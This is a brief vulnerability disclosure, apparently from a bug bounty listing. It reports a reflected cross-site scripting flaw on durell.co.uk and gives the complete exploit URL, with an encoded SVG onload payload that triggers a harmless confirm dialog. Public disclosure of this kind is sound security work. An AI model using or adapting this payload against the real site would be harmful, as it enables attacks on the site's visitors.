durell.co.uk XSS vulnerability

Vulnerable URL: http://durell.co.uk/programservices/onlinesystemmanual/files/page-viewer.asp?pagetitle=Spreadsheet,%20Example%20to%20List%20Fees%20Financial%20Adviser=1288%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22=files/Spreadsheet,%20Example%20to%20List%20Fees%20Financial%20Adviser.htm...